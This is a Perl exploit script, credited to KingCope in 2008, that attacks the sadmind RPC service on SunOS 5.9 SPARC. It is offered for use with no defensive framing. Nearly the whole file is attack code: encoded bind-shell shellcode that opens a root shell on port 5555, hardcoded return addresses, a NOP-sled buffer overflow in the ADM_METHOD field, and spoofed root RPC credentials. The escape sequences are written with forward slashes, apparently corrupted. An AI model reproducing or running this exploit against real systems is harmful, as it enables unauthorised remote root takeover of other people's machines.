#!/usr/bin/perl # holygrail2 # #---------------------------------------------------------------------------------# # SunOS 5.9 [UltraSPARC] sadmind Remote Root Exploit by KingCope in 2008 # # # # Most of work was shamelessy ripped from HD-Moore and RISE-Security exploits!!! # # Bug found by RISE-Security. # # Sparc exploit by KingCope [kcope2@googlemail.com] # # Maybe I will extend this to Solaris 8/10/11 in futura ?? # # thanks to alex,andi,adize ... # # # ################################################################################### use strict; use POSIX; use IO::Socket; use IO::Select; print "holygrail2 vs. SunOS 5.9 sadmind/nby kcope in 2008/nbinds a shell to port 5555/n"; my $host = $ARGV[0]; if ($host eq "") { print "usage: perl holygrail2.pl <address>/n"; exit(-1); } # solaris_sparc_bind - LPORT=5555 Size=232 Encoder=Sparc http://metasploit.com my $payload = "/x23/x32/xde/xd7/xa2/x14/x62/x6f/x20/xbf/xff/xff/x20/xbf/xff/xff". "/x7f/xff/xff/xff/xea/x03/xe0/x20/xaa/x9d/x40/x11/xea/x23/xe0/x20". "/xa2/x04/x40/x15/x81/xdb/xe0/x20/x12/xbf/xff/xfb/x9e/x03/xe0/x04". "/x57/x50/xfe/x68/xff/xb6/xde/x77/x69/xad/xde/x7c/x01/xcb/x1e/x89". "/xbb/xfc/xbe/x8f/x2b/xec/x9e/x8d/xce/x1c/xfe/x77/x5f/xcc/xdf/x7f". "/x8f/xce/xa0/x87/x11/x10/xdf/xf2/xf1/x04/xfe/x4f/x11/x06/xbe/x5f". "/x11/x6b/x7e/x6b/x03/x4f/x21/x83/xb7/x80/x01/xb3/x35/xb0/x61/x5b". "/xa8/x60/x42/x93/x1b/x83/x3d/x5b/x09/x94/x62/x9a/xaf/x84/x42/x75". "/x3e/x74/xa3/x8d/x91/x77/x1c/x75/x83/x62/x23/x8c/x37/x80/xe3/x87". "/xb5/xb4/xc3/x7d/x28/x65/x24/x89/x9b/xa6/x9b/x71/x8f/xb8/xc4/x82". "/x3d/xa9/x24/x8d/xd5/x6b/x84/x8c/x54/x7b/xe4/xb0/xc9/xab/xc4/xc4". "/xf8/xf3/xfb/x28/x2d/x0f/xbb/x28/x59/x15/x04/xc3/x40/x21/x5c/x49". "/x22/x22/x7c/x03/x01/x41/xa2/x01/xd5/x75/xfb/xa5/x47/x5a/x5b/xcd". "/x87/xa6/x24/x3d/x97/xfa/xe4/x45/xd7/xde/xa4/x49/x5a/x30/xfb/x8a". "/xcb/xe0/xdb/xe4/xec/x01/x1b/xf4"; my $patchaddr = pack("N", 0xffbf83d8); my $retaddr = pack("N", 0xffbf88e0); sub nonblock { my ($fd) = @_; my $flags = fcntl($fd, F_GETFL,0); fcntl($fd, F_SETFL, $flags|O_NONBLOCK); } sub rpc_read { my ($s) = @_; my $sel = IO::Select->new($s); my $res; my @fds = $sel->can_read(4); foreach (@fds) { $res .= <$s>; } return $res; } sub rpc_getport { my ($target_host, $target_port, $prog, $vers) = @_; my $s = rpc_socket($target_host, $target_port); my $portmap_req = pack("L", rand() * 0xffffffff) . # XID "/x00/x00/x00/x00". # Call "/x00/x00/x00/x02". # RPC Version "/x00/x01/x86/xa0". # Program Number (PORTMAP) "/x00/x00/x00/x02". # Program Version (2) "/x00/x00/x00/x03". # Procedure (getport) ("/x00" x 16). # Credentials and Verifier pack("N", $prog) . pack("N", $vers). pack("N", 0x11). # Protocol: UDP pack("N", 0x00); # Port: 0 print $s $portmap_req; my $r = rpc_read($s); close ($s); if (length($r) == 28) { my $prog_port = unpack("N",substr($r, 24, 4)); return($prog_port); } return undef; } sub rpc_socket { my ($target_host, $target_port) = @_; my $s = IO::Socket::INET->new ( PeerAddr => $target_host, PeerPort => $target_port, Proto => "udp", Type => SOCK_DGRAM ); if (! $s) { print "/nError: could not create socket to target: $!/n"; exit(0); } select($s); $|++; select(STDOUT); $|++; nonblock($s); return($s); } sub rpc_sadmin_expl { my ($hostname, $command, $first) = @_; my $packed_host = $hostname . ("/x00" x (59 - length($hostname))); my $rpc = pack("L", rand() * 0xffffffff) . # XID "/x00/x00/x00/x00". # Call "/x00/x00/x00/x02". # RPC Version "/x00/x01/x87/x88". # Program Number (SADMIND) "/x00/x00/x00/x0a". # Program Version (10) "/x00/x00/x00/x01". # Procedure "/x00/x00/x00/x01"; # Credentials (UNIX) # Auth Length is filled in # pad it up to multiples of 4 my $rpc_hostname = $hostname; while (length($rpc_hostname) % 4 != 0) { $rpc_hostname .= "/x00" } my $rpc_auth = # Time Stamp pack("N", time() + 20001) . # Machine Name pack("N", length($hostname)) . $rpc_hostname . "/x00/x00/x00/x00". # UID = 0 "/x00/x00/x00/x00". # GID = 0 "/x00/x00/x00/x00"; # No Extra Groups $rpc .= pack("N", length($rpc_auth)) . $rpc_auth . ("/x00" x 8); my $fp = pack("N", 0xffbf9108); my $buf1 = "/x90" x (2050-length($payload)-500) . $payload . "/x90/x90" . "/x90" x 500 . "CC" . $fp . $fp . $retaddr x 100; if ($first eq 1) { $buf1 = "/x90" x 50; } while (length($buf1) % 4 != 0) { $buf1 .= "/x00" } my $header = # Another Time Stamp reverse(pack("L", time() + 20005)) . "/x00/x07/x45/xdf". "/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00". "/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x06". "/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00". "/x00/x00/x00/x04/x00/x00/x00/x00/x00/x00/x00/x04". "/x7f/x00/x00/x01". # 127.0.0.1 "/x00/x01/x87/x88". # SADMIND "/x00/x00/x00/x0a/x00/x00/x00/x04". "/x7f/x00/x00/x01". # 127.0.0.1 "/x00/x01/x87/x88". # SADMIND "/x00/x00/x00/x0a/x00/x00/x00/x11/x00/x00/x00/x1e". "/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00". "/x00/x00/x00/x00". "/x00/x00/x00/x3b". $packed_host. "/x00/x00/x00/x00/x06" . "system". "/x00/x00/x00/x00/x00/x15". "../../../../../bin/sh". "/x00/x00/x00"; # Append Body Length ^-- Here my $body = "/x00/x00/x00/x0e". "ADM_FW_VERSION". "/x00/x00/x00/x00/x00/x03/x00/x00/x00/x04/x00/x00". "/x00/x01/x00/x00/x00/x00/x00/x00/x00/x00". "/x00/x00/x00/x08". "ADM_LANG". "/x00/x00/x00/x09/x00/x00/x00/x02/x00/x00". "/x00/x01". "C" . "/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00". "/x00/x00/x00/x0d". "ADM_REQUESTID". "/x00/x00/x00/x00/x00/x00/x09/x00/x00/x00/x12/x00/x00/x00/x11". "00009:000000000:0"."/x00/x00/x00". "/x00/x00/x00/x00/x00/x00/x00/x00". "/x00/x00/x00/x09". "ADM_CLASS". "/x00/x00/x00/x00/x00/x00/x09/x00/x00/x00/x07". "/x00/x00/x00/x06" . "system" . "/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00". "/x00/x00/x00/x0e" . "ADM_CLASS_VERS" . "/x00/x00/x00/x00/x00/x09/x00/x00/x00/x04". "/x00/x00/x00/x03". "2.1". "/x00/x00/x00/x00/x00/x00/x00/x00/x00". "/x00/x00/x00/x0a" . "ADM_METHOD" . "/x00/x00/x00/x00/x00/x09" . pack("N", length($buf1)+1) . pack("N", length($buf1)) . $buf1 . "/x00/x00/x00/x00/x00/x00/x00/x00". "/x00/x00/x00/x08". "ADM_HOST" . "/x00/x00/x00/x09/x00/x00/x00/x3c/x00/x00/x00/x3b". $packed_host. "/x00/x00/x00/x00/x00/x00/x00/x00/x00". "/x00/x00/x00/x0f". "ADM_CLIENT_HOST". "/x00/x00/x00/x00/x09". pack("N", length($hostname) + 1) . pack("N", length($hostname)) . $rpc_hostname . "/x00/x00/x00/x00". "/x00/x00/x00/x00". "/x00/x00/x00/x11" . "ADM_CLIENT_DOMAIN". "/x00/x00/x00/x00/x00/x00/x09/x00/x00/x00/x01/x00/x00/x00/x00/x00/x00". "/x00/x00/x00/x00/x00/x00". "/x00/x00/x00/x11" . "ADM_TIMEOUT_PARMS". "/x00/x00/x00/x00/x00". "/x00/x09/x00/x00/x00/x1c". "/x00/x00/x00/x1b" . "TTL=0 PTO=20 PCNT=2 PDLY=30". "/x00/x00/x00/x00/x00/x00/x00/x00/x00". "/x00/x00/x00/x09" . "ADM_FENCE" . "/x00/x00/x00/x00/x00/x00/x09/x00/x00/x00/x00/x00/x00/x00/x00/x00". "/x00/x00/x00/x00/x00/x00/x01/x58/x00/x00/x00/x00/x00/x00/x09/x00". "/x00/x00/x03/x00/x00/x00/x02" . "-c" . "/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x01/x59/x00". "/x00/x00/x00/x00/x00/x09/x00/x00/x02/x01/x00/x00/x02/x00". $command . ("/x00" x (512 - length($command))). "/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x10". "netmgt_endofargs"; my $res = $rpc . $header . pack("N", (length($body) + 4 + length($header)) - 330) . $body; return($res); } $|=1; my $portmap = "111"; for (my $i=1;$i<3;$i++) { my $target_port = rpc_getport($host, $portmap, 100232, 10); if (! $target_port) { print STDERR "Error: could not determine port used by sadmind/n"; exit(0); } my $s = rpc_socket($host, $target_port); my $x = rpc_sadmin_expl("localhost", "foo", $i); print $s $x; my $r = rpc_read($s); close ($s); }